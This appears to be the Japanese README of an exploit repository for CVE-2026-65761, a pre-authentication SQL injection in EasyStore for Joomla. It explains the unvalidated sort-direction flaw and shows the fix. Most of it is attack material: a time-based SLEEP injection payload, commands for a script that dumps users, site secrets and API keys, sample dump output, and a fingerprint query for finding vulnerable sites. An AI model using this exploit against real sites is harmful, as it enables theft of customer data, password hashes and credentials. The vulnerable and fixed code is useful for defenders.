
EasyStore Joomla の filter_sortby の Direction を介した認証前SQLインジェクション(CVE-2026-65761、CVSS 9.3)
CVE-2026-65761(CVSS 9.3 Critical)は、JoomShaper製 EasyStore for Joomla における 未認証SQLインジェクション であり、バージョン ≤ 2.0.1 に影響します。
製品一覧パラメータ filter_sortby は、列と方向に分割されます。列は許可リストに対して検証されますが、方向は ASC/DESC の制限なしに SQL の ORDER BY 句に直接連結されるため、匿名の訪問者による任意のSQLインジェクションが可能になります。
未認証の攻撃者は、Joomlaデータベース全体を読み取ることができます:ユーザーアカウント、パスワードハッシュ、セッションデータ、サイトシークレット、APIキー、およびすべての顧客の個人情報(氏名、メールアドレス、住所、電話番号、購入履歴)。
| CVE | CVE-2026-65761 |
| CVSS | 9.3 Critical |
| 影響を受けるバージョン | EasyStore ≤ 2.0.1 |
| 修正済みバージョン | EasyStore 2.0.2 |
| 種別 | SQLインジェクション (CWE-89) |
| 認証 | 不要 |
| 発見者 | Phil Taylor (mySites.guru) — 2026年7月 |
FilterHelper.php:741 は、ASC/DESC 許可リストによるチェックを行わずにソート方向を返します:
// Vulnerable (EasyStore 2.0.1)
// FilterHelper.php:741
return [$orderArray[0], strtoupper($orderArray[1])];
// ^^^^^^^^^ No validation — raw value after uppercase
ProductsModel.php:932 は、方向を SQL に直接連結します:
// ProductsModel.php:932
$query->order($column . ' ' . $direction);
// ^^^^^^^^^ Raw SQL concatenation
ブランド一覧とコレクション一覧には適切な方向の許可リストがありましたが、製品一覧にはありませんでした。
// Fixed — FilterHelper.php:741-742
$direction = strtoupper($orderArray[1]);
return [$orderArray[0], in_array($direction, ['ASC', 'DESC']) ? $direction : 'ASC'];
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Allow-list check
// Fixed — ProductsModel.php:918-920 (second validation added)
if (!in_array(strtoupper($direction), ['ASC', 'DESC'])) {
$direction = 'DESC';
}
1. Attacker crafts: filter_sortby=price-ASC,(SELECT SLEEP(5))
└─ splits to: column=price, direction=ASC,(SELECT SLEEP(5))
2. Column "price" passes allow-list check ✅
└─ ['ordering','featured','best_selling','title','price','created']
3. Direction "ASC,(SELECT SLEEP(5))" passes strtoupper()
└─ No ASC/DESC validation in vulnerable version
4. SQL constructed:
ORDER BY min_price ASC,(SELECT SLEEP(5))
└─ Time-based confirmation: 5 second delay
5. Attacker extracts full database via blind SQLi
| 要件 | 詳細 |
|---|---|
| EasyStore ≤ 2.0.1 | 脆弱なバージョンがインストールされている |
| 製品一覧にアクセス可能 | index.php?option=com_easystore&view=products |
| 認証不要 | 匿名で動作 |
| MySQL/MariaDB | SLEEP() による時間ベースの抽出 |
git clone https://github.com/shinthink/CVE-2026-65761.git
cd CVE-2026-65761
# No dependencies required — Python stdlib only
# Check vulnerability (non-destructive)
python3 cve_2026_65761.py --url https://target.com --check
# Dump Joomla users (usernames, emails, names)
python3 cve_2026_65761.py --url https://target.com --dump-users
# Full dump (users + site secret + EasyStore config + API keys)
python3 cve_2026_65761.py --url https://target.com --dump-joomla
+=================================================================+
| CVE-2026-65761 — EasyStore Joomla Pre-Auth SQLi Exploit |
+=================================================================+
Target : https://shop.target.com
Plugin : EasyStore ≤ 2.0.1 | Payload: filter_sortby=col-ASC,INJECTION
[STEP 1] Verifying SQL injection (time-based)
[*] SLEEP(5) delay: 5.2s
[+] SQLi confirmed (5.2s)
[STEP 2] Database fingerprint
[Version] 10.11.14-MariaDB
[Database] joomla_db
[User] joomla_user@localhost
[Prefix] jos_
[+] Version : 10.11.14-MariaDB
[+] Database: joomla_db
[+] User : joomla_user@localhost
[+] Prefix : jos_
[STEP 3] Dumping users
[+] Users: 15
USERNAME EMAIL NAME
───────────────────── ─────────────────────────────── ──────────
admin [email protected] Super User
manager [email protected] Store Manager
[STEP 4] Dumping sensitive configuration
[Secret] abc123def456...
[EasyStore] {"paypal_email":"[email protected]"...
[+] Secret: abc123def456...
[+] EasyStore: {"paypal_email":"[email protected]"...
[+] paypal_email: [email protected]
Requests: 1847
| ファイル | 行 | 問題 |
|---|---|---|
site/src/Helper/FilterHelper.php | 741 | 許可リストなしで方向を返す — strtoupper() のみ |
site/src/Model/ProductsModel.php | 932 | $direction を ORDER BY 句に直接連結 |
filter_sortby = <column>-<direction>
Valid columns (allow-list passes):
ordering, featured, best_selling, title, price, created
Direction (no validation):
Injected directly after strtoupper()
→ ASC,(SELECT SLEEP(5))
→ ASC,(SELECT IF((condition),SLEEP(2),0))
| CVE | 種別 | CVSS |
|---|---|---|
| CVE-2026-65759 | 注文偽造 / 決済操作 | 8.7 |
| CVE-2026-65760 | 請求書IDOR(顧客間データ漏えい) | 9.2 |
| CVE-2026-65761 | SQLインジェクション(本エクスプロイト) | 9.3 |
body="com_easystore" && body="filter_sortby"
認定されたセキュリティテストおよび教育目的の研究にのみ使用してください。作者は誤用に対する一切の責任を負いません。